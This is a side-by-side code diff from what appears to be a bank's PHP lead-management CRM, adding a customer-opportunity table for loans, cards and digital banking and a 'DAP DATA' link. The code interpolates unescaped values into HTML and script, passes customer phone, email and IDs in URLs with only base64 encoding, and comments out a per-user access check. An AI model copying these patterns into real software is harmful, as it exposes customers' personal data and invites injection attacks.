| 2633 | postdata+='&customer_memo='+encodeURIComponent(customer_memo); | 2977 | postdata+='&br_name='+encodeURIComponent(br_name); |
| 2978 | postdata+='&lg_code='+encodeURIComponent(lg_code); | ||
| 2979 | postdata+='&processing_entity='+encodeURIComponent(processing_entity); | ||
| 2980 | postdata+='&lead_owner='+encodeURIComponent(lead_owner); | ||
| 2981 | postdata+='&lead_priority='+encodeURIComponent(lead_priority); | ||
| 2982 | postdata+='&product='+encodeURIComponent(product); | ||
| 2983 | postdata+='&customer_profile='+encodeURIComponent(customer_profile); | ||
| 2634 | postdata+='&remarks='+encodeURIComponent(remarks); | 2984 | postdata+='&remarks='+encodeURIComponent(remarks); |
| 2635 | postdata+='&transfer_memo='+encodeURIComponent(transfer_memo); | 2985 | |
| 2986 | |||
| 2636 | 2987 | ||
| 2637 | doAjax('leadentryform',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); | 2988 | doAjax('leadentryform',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); |
| 2989 | } | ||
| 2990 | |||
| 2638 | }); | 2991 | }); |
| 2639 | 2992 | ||
| 2640 | </script> | 2993 | </script> |
| ... | @@ -2794,6 +3147,9 @@ function createRacingCust() | ... | @@ -2794,6 +3147,9 @@ function createRacingCust() |
| 2794 | postdata+='&relationship_with_group_id_next='+encodeURIComponent(relationshipgroupid); | 3147 | postdata+='&relationship_with_group_id_next='+encodeURIComponent(relationshipgroupid); |
| 2795 | postdata+='&new_group_addition_to_group='+encodeURIComponent(newGroupdditiongroup); | 3148 | postdata+='&new_group_addition_to_group='+encodeURIComponent(newGroupdditiongroup); |
| 2796 | postdata+='&racing_from='+encodeURIComponent(racingfrom); | 3149 | postdata+='&racing_from='+encodeURIComponent(racingfrom); |
| 3150 | postdata+='&mobile='+'".$dataarr["mobile"]."'; | ||
| 3151 | postdata+='&client='+'".$dataarr["client"]."'; | ||
| 3152 | postdata+='&clientcode='+'".$dataarr["clientcode"]."'; | ||
| 2797 | 3153 | ||
| 2798 | doAjax('custrace',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); | 3154 | doAjax('custrace',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); |
| 2799 | }); | 3155 | }); |
| ... | @@ -2802,7 +3158,255 @@ function createRacingCust() | ... | @@ -2802,7 +3158,255 @@ function createRacingCust() |
| 2802 | 3158 | ||
| 2803 | return $data; | 3159 | return $data; |
| 2804 | } | 3160 | } |
| 3161 | //for RLP | ||
| 3162 | function createRLP() | ||
| 3163 | { | ||
| 3164 | $dataarr=$this->recruitdata["peopledata"]; | ||
| 3165 | $rlpcust = DB::table('p11086_cop_rlp_cust_base_uat')->where('pbcode','=',$dataarr["client"])->where('cod_cust','=',$dataarr["clientcode"])->select('*')->get(); | ||
| 3166 | $data=""; | ||
| 3167 | //echo "<pre>".print_r($rlpcust)."</pre>"; | ||
| 3168 | $data.="<fieldset><legend class='new-recruit_legend'>RLP Customer WISE</legend>"; | ||
| 2805 | 3169 | ||
| 3170 | $data.="<div class=custom1 style='width:100%;'> | ||
| 3171 | <h2></h2>"; | ||
| 3172 | |||
| 3173 | $data.="<hr><br><table class='table kDataTable' cellpadding=0 cellspacing=0 border=0> | ||
| 3174 | <thead><tr> | ||
| 3175 | <td class='table_hrm_heading_green'>Product</td> | ||
| 3176 | <td class='table_hrm_heading_green'>Opportunity</td> | ||
| 3177 | <td class='table_hrm_heading_green'>Contacted</td> | ||
| 3178 | <td class='table_hrm_heading_green'>Total Unique Calls Made to customer with Opportunity </td> | ||
| 3179 | <td class='table_hrm_heading_green'>Total Unique Customers Pitched</td> | ||
| 3180 | <td class='table_hrm_heading_green'>LG (Offline)</td> | ||
| 3181 | <td class='table_hrm_heading_green'>LC</td> | ||
| 3182 | <td class='table_hrm_heading_green'>Activation</td> | ||
| 3183 | </tr></thead>"; | ||
| 3184 | $data.="<tr> | ||
| 3185 | <td>Auto Loan</td> | ||
| 3186 | <td> | ||
| 3187 | <table> | ||
| 3188 | <tr><td>".$rlpcust[0]->al_qm_opp."</td></tr><tr><td>".$rlpcust[0]->al_upg_opp."</td></tr><tr><td>".$rlpcust[0]->al_al_cnc_opp."</td></tr><tr><td>".$rlpcust[0]->al_pa_opp."</td></tr><tr><td>".$rlpcust[0]->al_zip_opp."</td></tr></table> | ||
| 3189 | </td> | ||
| 3190 | <td>".$rlpcust[0]->al_called_opp."</td> | ||
| 3191 | <td>".$rlpcust[0]->al_pitch."</td> | ||
| 3192 | <td></td> | ||
| 3193 | <td>".$rlpcust[0]->al_lg."</td> | ||
| 3194 | <td></td> | ||
| 3195 | <td></td> | ||
| 3196 | </tr> | ||
| 3197 | <tr> | ||
| 3198 | <td>Personal Loan</td> | ||
| 3199 | <td> | ||
| 3200 | <table> | ||
| 3201 | <tr><td>".$rlpcust[0]->pl_10sec_opp."</td></tr><tr><td>".$rlpcust[0]->pl_pa_opp."</td></tr><tr><td>".$rlpcust[0]->pl_pq_opp."</td></tr><tr><td>".$rlpcust[0]->bl_10sec_opp."</td></tr><tr><td>".$rlpcust[0]->bl_pq_opp."</td></tr> | ||
| 3202 | </table> | ||
| 3203 | </td> | ||
| 3204 | <td>".$rlpcust[0]->pl_called_opp."</td> | ||
| 3205 | <td>".$rlpcust[0]->pl_pitch."</td> | ||
| 3206 | <td></td> | ||
| 3207 | <td>".$rlpcust[0]->pl_lg."</td> | ||
| 3208 | <td></td> | ||
| 3209 | <td></td> | ||
| 3210 | </tr> | ||
| 3211 | <tr> | ||
| 3212 | <td>Two Wheeler Loan</td> | ||
| 3213 | <td>".$rlpcust[0]->twl_pa_opp."</td> | ||
| 3214 | <td>".$rlpcust[0]->twl_called_opp."</td> | ||
| 3215 | <td>".$rlpcust[0]->twl_pitch."</td> | ||
| 3216 | <td></td> | ||
| 3217 | <td>".$rlpcust[0]->twl_lg."</td> | ||
| 3218 | <td></td> | ||
| 3219 | <td></td> | ||
| 3220 | </tr> | ||
| 3221 | <tr> | ||
| 3222 | <td>Home Loan</td> | ||
| 3223 | <td> | ||
| 3224 | <table> | ||
| 3225 | <tr><td>".$rlpcust[0]->hl_pq_opp."<td></tr><tr><td>".$rlpcust[0]->hl_bt_opp."<td></tr> | ||
| 3226 | </table> | ||
| 3227 | </td> | ||
| 3228 | <td>".$rlpcust[0]->hl_called_opp."</td> | ||
| 3229 | <td>".$rlpcust[0]->hl_pitch."</td> | ||
| 3230 | <td></td> | ||
| 3231 | <td>".$rlpcust[0]->hl_pitch."</td> | ||
| 3232 | <td></td> | ||
| 3233 | <td></td> | ||
| 3234 | </tr> | ||
| 3235 | <tr> | ||
| 3236 | <td>Gold Loan</td> | ||
| 3237 | <td>GL</td> | ||
| 3238 | <td></td> | ||
| 3239 | <td>".$rlpcust[0]->gl_pitch."</td> | ||
| 3240 | <td></td> | ||
| 3241 | <td></td> | ||
| 3242 | <td></td> | ||
| 3243 | <td></td> | ||
| 3244 | </tr> | ||
| 3245 | <tr> | ||
| 3246 | <td>Loan Against Securities</td> | ||
| 3247 | <td>".$rlpcust[0]->las_opp."</td> | ||
| 3248 | <td>".$rlpcust[0]->las_called_opp."</td> | ||
| 3249 | <td>".$rlpcust[0]->las_pitch."</td> | ||
| 3250 | <td></td> | ||
| 3251 | <td>".$rlpcust[0]->las_lg."</td> | ||
| 3252 | <td></td> | ||
| 3253 | <td></td> | ||
| 3254 | </tr> | ||
| 3255 | <tr> | ||
| 3256 | <td>Loan Against Property</td> | ||
| 3257 | <td>".$rlpcust[0]->lap_opp."</td> | ||
| 3258 | <td>".$rlpcust[0]->lap_called_opp."</td> | ||
| 3259 | <td></td> | ||
| 3260 | <td></td> | ||
| 3261 | <td>".$rlpcust[0]->lap_lg."</td> | ||
| 3262 | <td></td> | ||
| 3263 | <td></td> | ||
| 3264 | </tr> | ||
| 3265 | <tr> | ||
| 3266 | <td>HSL</td> | ||
| 3267 | <td>".$rlpcust[0]->hsl_opp."</td> | ||
| 3268 | <td>".$rlpcust[0]->hsl_called_opp."</td> | ||
| 3269 | <td>".$rlpcust[0]->hsl_pitch."</td> | ||
| 3270 | <td></td> | ||
| 3271 | <td></td> | ||
| 3272 | <td></td> | ||
| 3273 | <td></td> | ||
| 3274 | </tr> | ||
| 3275 | <tr> | ||
| 3276 | <td>Credit Card</td> | ||
| 3277 | <td>".$rlpcust[0]->cc_eli_new_opp."</td> | ||
| 3278 | <td>".$rlpcust[0]->cc_called_opp."</td> | ||
| 3279 | <td>".$rlpcust[0]->cc_pitch."</td> | ||
| 3280 | <td></td> | ||
| 3281 | <td>".$rlpcust[0]->cc_lg."</td> | ||
| 3282 | <td></td> | ||
| 3283 | <td></td> | ||
| 3284 | </tr> | ||
| 3285 | <tr> | ||
| 3286 | <td>CC Activation</td> | ||
| 3287 | <td>".$rlpcust[0]->cc_activation_opp."</td> | ||
| 3288 | <td>".$rlpcust[0]->cc_activation_called_opp."</td> | ||
| 3289 | <td></td> | ||
| 3290 | <td></td> | ||
| 3291 | <td></td> | ||
| 3292 | <td></td> | ||
| 3293 | <td></td> | ||
| 3294 | </tr> | ||
| 3295 | <tr> | ||
| 3296 | <td>LI</td> | ||
| 3297 | <td>".$rlpcust[0]->li_opp."</td> | ||
| 3298 | <td>".$rlpcust[0]->li_called_opp."</td> | ||
| 3299 | <td></td> | ||
| 3300 | <td></td> | ||
| 3301 | <td></td> | ||
| 3302 | <td></td> | ||
| 3303 | <td></td> | ||
| 3304 | </tr> | ||
| 3305 | <tr> | ||
| 3306 | <td>FD</td> | ||
| 3307 | <td>".$rlpcust[0]->fd_opp."</td> | ||
| 3308 | <td>".$rlpcust[0]->fd_called_opp."</td> | ||
| 3309 | <td>".$rlpcust[0]->fd_pitch."</td> | ||
| 3310 | <td></td> | ||
| 3311 | <td></td> | ||
| 3312 | <td></td> | ||
| 3313 | <td></td> | ||
| 3314 | </tr> | ||
| 3315 | <tr> | ||
| 3316 | <td>SAVINGS LTD(Transections (0-3))</td> | ||
| 3317 | <td>".$rlpcust[0]->ltd_act_saving_opp."</td> | ||
| 3318 | <td>".$rlpcust[0]->ltd_act_saving_called_opp."</td> | ||
| 3319 | <td></td> | ||
| 3320 | <td></td> | ||
| 3321 | <td></td> | ||
| 3322 | <td></td> | ||
| 3323 | <td></td> | ||
| 3324 | </tr> | ||
| 3325 | <tr> | ||
| 3326 | <td>Mobile Banking/Netbanking</td> | ||
| 3327 | <td>".$rlpcust[0]->mb_opp."</td> | ||
| 3328 | <td>".$rlpcust[0]->mb_called_opp."</td> | ||
| 3329 | <td>".$rlpcust[0]->mb_pitch."</td> | ||
| 3330 | <td></td> | ||
| 3331 | <td></td> | ||
| 3332 | <td></td> | ||
| 3333 | <td>".$rlpcust[0]->nb_mb_lg."</td> | ||
| 3334 | </tr> | ||
| 3335 | <tr> | ||
| 3336 | <td>Aadhaar</td> | ||
| 3337 | <td>".$rlpcust[0]->aadhaar_opp."</td> | ||
| 3338 | <td>".$rlpcust[0]->aadhaar_called_opp."</td> | ||
| 3339 | <td>".$rlpcust[0]->aadhaar_pitch."</td> | ||
| 3340 | <td></td> | ||
| 3341 | <td></td> | ||
| 3342 | <td></td> | ||
| 3343 | <td>".$rlpcust[0]->aadhaar_activation."</td> | ||
| 3344 | </tr> | ||
| 3345 | <tr> | ||
| 3346 | <td>Digital 2.0 Score (Inactive)</td> | ||
| 3347 | <td>".$rlpcust[0]->digi2_score_opp."</td> | ||
| 3348 | <td>".$rlpcust[0]->digi2_score_called_opp."</td> | ||
| 3349 | <td></td> | ||
| 3350 | <td></td> | ||
| 3351 | <td></td> | ||
| 3352 | <td></td> | ||
| 3353 | <td></td> | ||
| 3354 | </tr> | ||
| 3355 | <tr> | ||
| 3356 | <td>Digital 2.0 Score (Bill Pay Inactive)</td> | ||
| 3357 | <td>".$rlpcust[0]->digi_billpay_opp."</td> | ||
| 3358 | <td>".$rlpcust[0]->digi_billpay_called_opp."</td> | ||
| 3359 | <td>".$rlpcust[0]->bill_pay_pitch."</td> | ||
| 3360 | <td></td> | ||
| 3361 | <td>".$rlpcust[0]->las_lg."</td> | ||
| 3362 | <td></td> | ||
| 3363 | <td></td> | ||
| 3364 | </tr> | ||
| 3365 | <tr> | ||
| 3366 | <td>Digital 2.0 Score(Basic Banking Inactive)</td> | ||
| 3367 | <td>".$rlpcust[0]->digi_basic_banking_opp."</td> | ||
| 3368 | <td>".$rlpcust[0]->digi_basic_banking_called_opp."</td> | ||
| 3369 | <td>".$rlpcust[0]->las_pitch."</td> | ||
| 3370 | <td></td> | ||
| 3371 | <td>".$rlpcust[0]->las_lg."</td> | ||
| 3372 | <td></td> | ||
| 3373 | <td></td> | ||
| 3374 | </tr> | ||
| 3375 | <tr> | ||
| 3376 | <td>Digital 2.0 Score(Ecom Shopping Inactive)</td> | ||
| 3377 | <td>".$rlpcust[0]->digi_ecom_shopping_opp."</td> | ||
| 3378 | <td>".$rlpcust[0]->digi_ecom_shopping_called_opp."</td> | ||
| 3379 | <td></td> | ||
| 3380 | <td></td> | ||
| 3381 | <td></td> | ||
| 3382 | <td></td> | ||
| 3383 | <td></td> | ||
| 3384 | </tr> | ||
| 3385 | <tr> | ||
| 3386 | <td>Digital 2.0 Score(Investment Inactive)</td> | ||
| 3387 | <td>".$rlpcust[0]->digi_investment_opp."</td> | ||
| 3388 | <td>".$rlpcust[0]->digi_investment_called_opp."</td> | ||
| 3389 | <td>".$rlpcust[0]->invest_pitch."</td> | ||
| 3390 | <td></td> | ||
| 3391 | <td></td> | ||
| 3392 | <td></td> | ||
| 3393 | <td></td> | ||
| 3394 | </tr> | ||
| 3395 | <tr> | ||
| 3396 | <td>Digital 2.0 Score(PHYSICAL Inactive)</td> | ||
| 3397 | <td>".$rlpcust[0]->digi_physical_opp."</td> | ||
| 3398 | <td>".$rlpcust[0]->digi_physical_called_opp."</td> | ||
| 3399 | <td></td> | ||
| 3400 | <td></td> | ||
| 3401 | <td></td> | ||
| 3402 | <td></td> | ||
| 3403 | <td></td> | ||
| 3404 | </tr> | ||
| 3405 | </table></div></fieldset>"; | ||
| 3406 | |||
| 3407 | return $data; | ||
| 3408 | |||
| 3409 | } | ||
| 2806 | 3410 | ||
| 2807 | function colorCodeRec($id) | 3411 | function colorCodeRec($id) |
| 2808 | { | 3412 | { |
| ... | @@ -2858,15 +3462,17 @@ function CreateForm(&$frm) | ... | @@ -2858,15 +3462,17 @@ function CreateForm(&$frm) |
| 2858 | $frm['QuestionAire']["{{id}} {{firstname}}"][]=array(); | 3462 | $frm['QuestionAire']["{{id}} {{firstname}}"][]=array(); |
| 2859 | $frm['QuestionAireHist']["{{id}} {{firstname}}"][]=array();}*/ | 3463 | $frm['QuestionAireHist']["{{id}} {{firstname}}"][]=array();}*/ |
| 2860 | 3464 | ||
| 2861 | $frm['QuestionnAire']["{{id}} {{firstname}}"][]=array(); | 3465 | //$frm['QuestionnAire']["{{id}} {{firstname}}"][]=array(); |
| 2862 | $frm['QuestionnAireHistory']["{{id}} {{firstname}}"][]=array(); | 3466 | $frm['CLP']["{{id}} {{firstname}}"][]=array(); |
| 3467 | $frm['CLP History']["{{id}} {{firstname}}"][]=array(); | ||
| 2863 | $frm['ComplaintManagement']["{{id}} {{firstname}}"][]=array(); | 3468 | $frm['ComplaintManagement']["{{id}} {{firstname}}"][]=array(); |
| 2864 | //$frm['ChildCase']["{{id}} {{firstname}}"][]=array(); | 3469 | //$frm['ChildCase']["{{id}} {{firstname}}"][]=array(); |
| 2865 | $frm['Racing Format']["{{id}} {{firstname}}"][]=array(); | 3470 | $frm['Racing Format']["{{id}} {{firstname}}"][]=array(); |
| 2866 | if(Auth::user()->username =="B654321" || Auth::user()->username =="B12345") | 3471 | //if(Auth::user()->username =="B654321" || Auth::user()->username =="B12345") |
| 2867 | { | 3472 | //{ |
| 2868 | $frm['LeadEntryForm']["{{id}} {{firstname}}"][]=array(); | 3473 | $frm['Lead Entry Form']["{{id}} {{firstname}}"][]=array(); |
| 2869 | } | 3474 | $frm['RLP']["{{id}} {{firstname}}"][]=array(); |
| 3475 | //} | ||
| 2870 | } | 3476 | } |
| 2871 | } | 3477 | } |
| 2872 | 3478 | ||
| ... | @@ -2927,13 +3533,14 @@ function CreateForm(&$frm) | ... | @@ -2927,13 +3533,14 @@ function CreateForm(&$frm) |
| 2927 | if($tbname=='Tasks'&&$edituser)$tabsdata.=$this->createTasksTab(); | 3533 | if($tbname=='Tasks'&&$edituser)$tabsdata.=$this->createTasksTab(); |
| 2928 | if($tbname=='Feedback')$tabsdata.=$this->createDispoTab(); | 3534 | if($tbname=='Feedback')$tabsdata.=$this->createDispoTab(); |
| 2929 | if($tbname=='CallHistory')$tabsdata.=$this->createCallsTab(); | 3535 | if($tbname=='CallHistory')$tabsdata.=$this->createCallsTab(); |
| 2930 | if($tbname=='QuestionnAire')$tabsdata.=$this->createQaireTab(); | 3536 | if($tbname=='CLP')$tabsdata.=$this->createQaireTab(); |
| 2931 | if($tbname=='QuestionnAireHistory')$tabsdata.=$this->createQaireHistTab(); | 3537 | if($tbname=='CLP History')$tabsdata.=$this->createQaireHistTab(); |
| 2932 | if($tbname=='ComplaintManagement')$tabsdata.=$this->createCompManage(); | 3538 | if($tbname=='ComplaintManagement')$tabsdata.=$this->createCompManage(); |
| 2933 | if($tbname=='ChildCase')$tabsdata.=$this->createChildCase(); | 3539 | if($tbname=='ChildCase')$tabsdata.=$this->createChildCase(); |
| 2934 | //if($tbname=='RacingCustomer')$tabsdata.=$this->createRacingCust(); | 3540 | //if($tbname=='RacingCustomer')$tabsdata.=$this->createRacingCust(); |
| 2935 | if($tbname=='Racing Format')$tabsdata.=$this->createRacingCust(); | 3541 | if($tbname=='Racing Format')$tabsdata.=$this->createRacingCust(); |
| 2936 | if($tbname=='LeadEntryForm')$tabsdata.=$this->createLeadEntryForm(); | 3542 | if($tbname=='Lead Entry Form')$tabsdata.=$this->createLeadEntryForm(); |
| 3543 | if($tbname=='RLP')$tabsdata.=$this->createRLP(); | ||
| 2937 | $tabsdata.="</div>"; | 3544 | $tabsdata.="</div>"; |
| 2938 | $i++; | 3545 | $i++; |
| 2939 | } | 3546 | } |
| ... | @@ -2965,8 +3572,9 @@ function CreateForm(&$frm) | ... | @@ -2965,8 +3572,9 @@ function CreateForm(&$frm) |
| 2965 | } | 3572 | } |
| 2966 | if(!$this->isuser)$hrexclusiveflag=0; | 3573 | if(!$this->isuser)$hrexclusiveflag=0; |
| 2967 | 3574 | ||
| 2968 | $recordDetails = DB::table('records')->where('id','=',$varid)->select('priority')->get(); | 3575 | $recordDetails = DB::table('records')->where('id','=',$varid)->select('mf_isa','emailid')->get(); |
| 2969 | $priority = $recordDetails[0]->priority; | 3576 | $priority = $recordDetails[0]->mf_isa; |
| 3577 | $emailid = $recordDetails[0]->emailid; | ||
| 2970 | 3578 | ||
| 2971 | $data=" <div id=recdialog></div><br><input type=hidden name='id' id='id' value='".$this->varid."'> | 3579 | $data=" <div id=recdialog></div><br><input type=hidden name='id' id='id' value='".$this->varid."'> |
| 2972 | <input type=hidden name='workflowstatus' id='workflowstatus' value='".$this->recruitdata["peopledata"]["workflowstatus"]."'> | 3580 | <input type=hidden name='workflowstatus' id='workflowstatus' value='".$this->recruitdata["peopledata"]["workflowstatus"]."'> |
| ... | @@ -2990,10 +3598,15 @@ function CreateForm(&$frm) | ... | @@ -2990,10 +3598,15 @@ function CreateForm(&$frm) |
| 2990 | \$('#dialer_flag').val('".$priority."'); | 3598 | \$('#dialer_flag').val('".$priority."'); |
| 2991 | } | 3599 | } |
| 2992 | } | 3600 | } |
| 2993 | 3601 | if('".$priority."'=='VIP' && dialerFlagExit!=1) | |
| 3602 | { | ||
| 3603 | \$('#dialer_flag').val('".$priority."'); | ||
| 3604 | } | ||
| 2994 | if (typeof kSetDData === 'function')kSetDData('C','crmid',".$this->varid."); | 3605 | if (typeof kSetDData === 'function')kSetDData('C','crmid',".$this->varid."); |
| 2995 | }); | 3606 | }); |
| 2996 | </script>"; | 3607 | </script>"; |
| 3608 | $data.="<a href='product.php?userid=".base64_encode(Auth::user()->id)."&cust_name=".base64_encode($this->recruitdata["peopledata"]['firstname'])." | ||
| 3609 | &cust_id=".base64_encode($this->recruitdata["peopledata"]['clientcode'])."&mobile_number=".base64_encode($this->recruitdata["peopledata"]['mobile'])."&emailid=".base64_encode($emailid)."'target='_blank'><input type=button class='btn btn-green' value='DAP DATA' ></a>"; | ||
| 2997 | 3610 | ||
| 2998 | if($this->isuser&&$this->edituser)//&&$this->recruitdata["peopledata"]['currentstatus']!=$wakka->HRCoreVars["systemExitStatus"] | 3611 | if($this->isuser&&$this->edituser)//&&$this->recruitdata["peopledata"]['currentstatus']!=$wakka->HRCoreVars["systemExitStatus"] |
| 2999 | { | 3612 | { | ... | ... |
| 1 | createLeadEntryForm() | ||
| 2 | { echo "Debugging Dialer"; | ||
| 3 | |||
| 4 | } | ||
| 5 | |||
| 6 | function createRacingCust() | ||
| 7 | { | ||
| 8 | $dataarr=$this->recruitdata["peopledata"]; | ||
| 9 | |||
| 10 | $data="<div style='clear:both;margin:2% 0 0 1%;border-style: dotted solid dashed;padding:2%'> | ||
| 11 | <h5>Customer Information</h5> | ||
| 12 | <hr/><br> | ||
| 13 | <br><br> | ||
| 14 | <div style='clear:both;width:100%;'> | ||
| 15 | <div style='width:49%;float:left'> | ||
| 16 | <label class='label-small_new' style='width:29%;'>Date</label> | ||
| 17 | <label class='label-small_new' style='width:50%;' >".date('Y-m-d')."</label> | ||
| 18 | </div> | ||
| 19 | <br><br> | ||
| 20 | |||
| 21 | <div style='width:49%;float:left'> | ||
| 22 | <label class='label-small_new' style='width:29%;'>PB Code</label> | ||
| 23 | <input type='text' class='form_new form_new_amend'style='width:50%;' value='' id='PBcode'> | ||
| 24 | </div> | ||
| 25 | <div style='width:49%;float:left'> | ||
| 26 | /<label class='label-small_new' style='width:29%;'>PB Name</label> | ||
| 27 | <input type='text' class='form_new form_new_amend'style='width:50%;' value='' id='PBname'> | ||
| 28 | </div> | ||
| 29 | |||
| 30 | </div> | ||
| 31 | <br><br> | ||
| 32 | <div style='clear:both;width:100%;'> | ||
| 33 | |||
| 34 | <div style='width:49%;float:left'> | ||
| 35 | <label class='label-small_new' style='width:29%;'>PB landline Contact No.</label> | ||
| 36 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='PBlandlineContNo'> | ||
| 37 | </div> | ||
| 38 | <div style='width:49%;float:left'> | ||
| 39 | <label class='label-small_new' style='width:29%;'>Supervisor Mail ID</label> | ||
| 40 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='SupervisormailID'> | ||
| 41 | </div> | ||
| 42 | |||
| 43 | </div> | ||
| 44 | <br><br> | ||
| 45 | <div style='clear:both;width:100%;'> | ||
| 46 | |||
| 47 | <div style='width:49%;float:left' class='search'> | ||
| 48 | <label class='label-small_new' style='width:29%;'>Group ID</label> | ||
| 49 | <input type='text' class='form_new form_new_amend' style='width:52%;' id='groupID' value=''> | ||
| 50 | </div> | ||
| 51 | <div style='width:49%;float:left'> | ||
| 52 | <label class='label-small_new' style='width:29%;'>Group ID Name</label> | ||
| 53 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='groupidname' value=''> | ||
| 54 | </div> | ||
| 55 | |||
| 56 | </div> | ||
| 57 | <br><br> | ||
| 58 | <div style='clear:both;width:100%;'> | ||
| 59 | |||
| 60 | <div style='width:49%;float:left'> | ||
| 61 | <label class='label-small_new' style='width:29%;'>Cust ID</label> | ||
| 62 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='custID' maxlength='16'> | ||
| 63 | </div> | ||
| 64 | <div style='width:49%;float:left'> | ||
| 65 | <label class='label-small_new' style='width:29%;'>Cust Name</label> | ||
| 66 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='custname' value=''> | ||
| 67 | </div> | ||
| 68 | |||
| 69 | </div> | ||
| 70 | <br><br> | ||
| 71 | <div style='clear:both;width:100%;'> | ||
| 72 | <div style='width:49%;float:left'> | ||
| 73 | <label class='label-small_new' style='width:29%;'>Relationship With Group ID</label> | ||
| 74 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='RelationshipGroupID' maxlength='16'> | ||
| 75 | </div> | ||
| 76 | <div style='width:49%;float:left'> | ||
| 77 | <label class='label-small_new' style='width:29%;'>Cust ID</label> | ||
| 78 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='Custid' maxlength='16'> | ||
| 79 | </div> | ||
| 80 | |||
| 81 | </div> | ||
| 82 | <br><br> | ||
| 83 | <div style='clear:both;width:100%;'> | ||
| 84 | <div style='width:49%;float:left'> | ||
| 85 | <label class='label-small_new' style='width:29%;'>Cust Name</label> | ||
| 86 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='CustName' value=''> | ||
| 87 | </div> | ||
| 88 | <div style='width:49%;float:left'> | ||
| 89 | <label class='label-small_new' style='width:29%;'>Relationship With Group ID</label> | ||
| 90 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='relationshipgroupid' maxlength='16'> | ||
| 91 | </div> | ||
| 92 | |||
| 93 | </div> | ||
| 94 | <br><br> | ||
| 95 | <div style='clear:both;width:100%;'> | ||
| 96 | <div style='width:49%;float:left'> | ||
| 97 | |||
| 98 | <label class='label-small_new' style='width:29%;'>Grouping</label> | ||
| 99 | <select id='newGroupdditiongroup' class='form_hrm_select select2multi' style='width:50%'> | ||
| 100 | <option value='New_Group'>New Group</option> | ||
| 101 | <option value='Addition_to_group'>Addition to group</option> | ||
| 102 | <option value='Addition_to_group'>Regroup</option> | ||
| 103 | </select> | ||
| 104 | |||
| 105 | </div> | ||
| 106 | <div style='width:49%;float:left'> | ||
| 107 | <label class='label-small_new' style='width:29%;'>Racing from</label> | ||
| 108 | <input type='text' class='form_new form_new_amend' style='width:50%;' id='racingfrom'> | ||
| 109 | </div> | ||
| 110 | </div> | ||
| 111 | <br><br><br> | ||
| 112 | |||
| 113 | |||
| 114 | <br><br> | ||
| 115 | <div style='clear:both;width:100%;'> | ||
| 116 | <input type='button' class='btn btn-default btn-md' style='margin-left:40%' value='Save' id='CRSave'> | ||
| 117 | </div> | ||
| 118 | </div> | ||
| 119 | |||
| 120 | <script> | ||
| 121 | |||
| 122 | |||
| 123 | |||
| 124 | $('#CRSave').click(function() | ||
| 125 | { | ||
| 126 | var snumber = $('#snumber').val(); | ||
| 127 | var PBname = $('#PBname').val(); | ||
| 128 | var PBcode = $('#PBcode').val(); | ||
| 129 | var PBlandlineContNo = $('#PBlandlineContNo').val(); | ||
| 130 | var SupervisormailID = $('#SupervisormailID').val(); | ||
| 131 | var groupID = $('#groupID').val(); | ||
| 132 | var groupidname = $('#groupidname').val(); | ||
| 133 | var custID = $('#custID').val(); | ||
| 134 | var custname = $('#custname').val(); | ||
| 135 | var RelationshipGroupID = $('#RelationshipGroupID').val(); | ||
| 136 | var Custid = $('#Custid').val(); | ||
| 137 | var CustName = $('#CustName').val(); | ||
| 138 | var relationshipgroupid = $('#relationshipgroupid').val(); | ||
| 139 | var newGroupdditiongroup = $('#newGroupdditiongroup').val(); | ||
| 140 | var racingfrom = $('#racingfrom').val(); | ||
| 141 | |||
| 142 | var postdata='s_no='+encodeURIComponent(snumber); | ||
| 143 | postdata+='&pb_name='+encodeURIComponent(PBname); | ||
| 144 | postdata+='&pb_code='+encodeURIComponent(PBcode); | ||
| 145 | postdata+='&pb_landline_contact_no='+encodeURIComponent(PBlandlineContNo); | ||
| 146 | postdata+='&supervisor_mail_id='+encodeURIComponent(SupervisormailID); | ||
| 147 | postdata+='&group_id='+encodeURIComponent(groupID); | ||
| 148 | postdata+='&group_id_name='+encodeURIComponent(groupidname); | ||
| 149 | postdata+='&cust_id='+encodeURIComponent(custID); | ||
| 150 | postdata+='&cust_name='+encodeURIComponent(custname); | ||
| 151 | postdata+='&relationship_with_group_id='+encodeURIComponent(RelationshipGroupID); | ||
| 152 | postdata+='&cust_id_next='+encodeURIComponent(Custid); | ||
| 153 | postdata+='&cust_name_next='+encodeURIComponent(CustName); | ||
| 154 | postdata+='&relationship_with_group_id_next='+encodeURIComponent(relationshipgroupid); | ||
| 155 | postdata+='&new_group_addition_to_group='+encodeURIComponent(newGroupdditiongroup); | ||
| 156 | postdata+='&racing_from='+encodeURIComponent(racingfrom); | ||
| 157 | |||
| 158 | doAjax('custrace',postdata,'createtaskdiv','ajaxMutex_recSaveData','singlethis','POST'); | ||
| 159 | }); | ||
| 160 | |||
| 161 | </script>"; | ||
| 162 | |||
| 163 | return $data; | ||
| 164 | } | ||
| 165 | |||
| 166 | |||
| 167 | function colorCodeRec($id) | ||
| 168 | { | ||
| 169 | $fdirty=$this->recruitdata["dirty"]; | ||
| 170 | $dataarr=$this->recruitdata["peopledata"]; | ||
| 171 | $gthis=$this->gthis; | ||
| 172 | $edituser=$this->edituser; | ||
| 173 | |||
| 174 | if($edituser) | ||
| 175 | { | ||
| 176 | $colorarr=array(); | ||
| 177 | $tarr=explode(",",$gthis->HRCoreVars['colorcodes']); | ||
| 178 | foreach($tarr as $tcolor) | ||
| 179 | { | ||
| 180 | $ttarr=explode(":",$tcolor); | ||
| 181 | $colorarr[$ttarr[0]]=$ttarr[1]; | ||
| 182 | } | ||
| 183 | if(isset($colorarr[$dataarr[$id]]))$color=$colorarr[$dataarr[$id]]; | ||
| 184 | $data="<div style='display:block;height:10px;width:100%;background:$color;'></div>"; | ||
| 185 | } | ||
| 186 | return $data; | ||
| 187 | } | ||
| 188 | |||
| 189 | function CreateForm(&$frm) | ||
| 190 | { | ||
| 191 | $fdirty=$this->recruitdata["dirty"]; | ||
| 192 | $dataarr=$this->recruitdata["peopledata"]; | ||
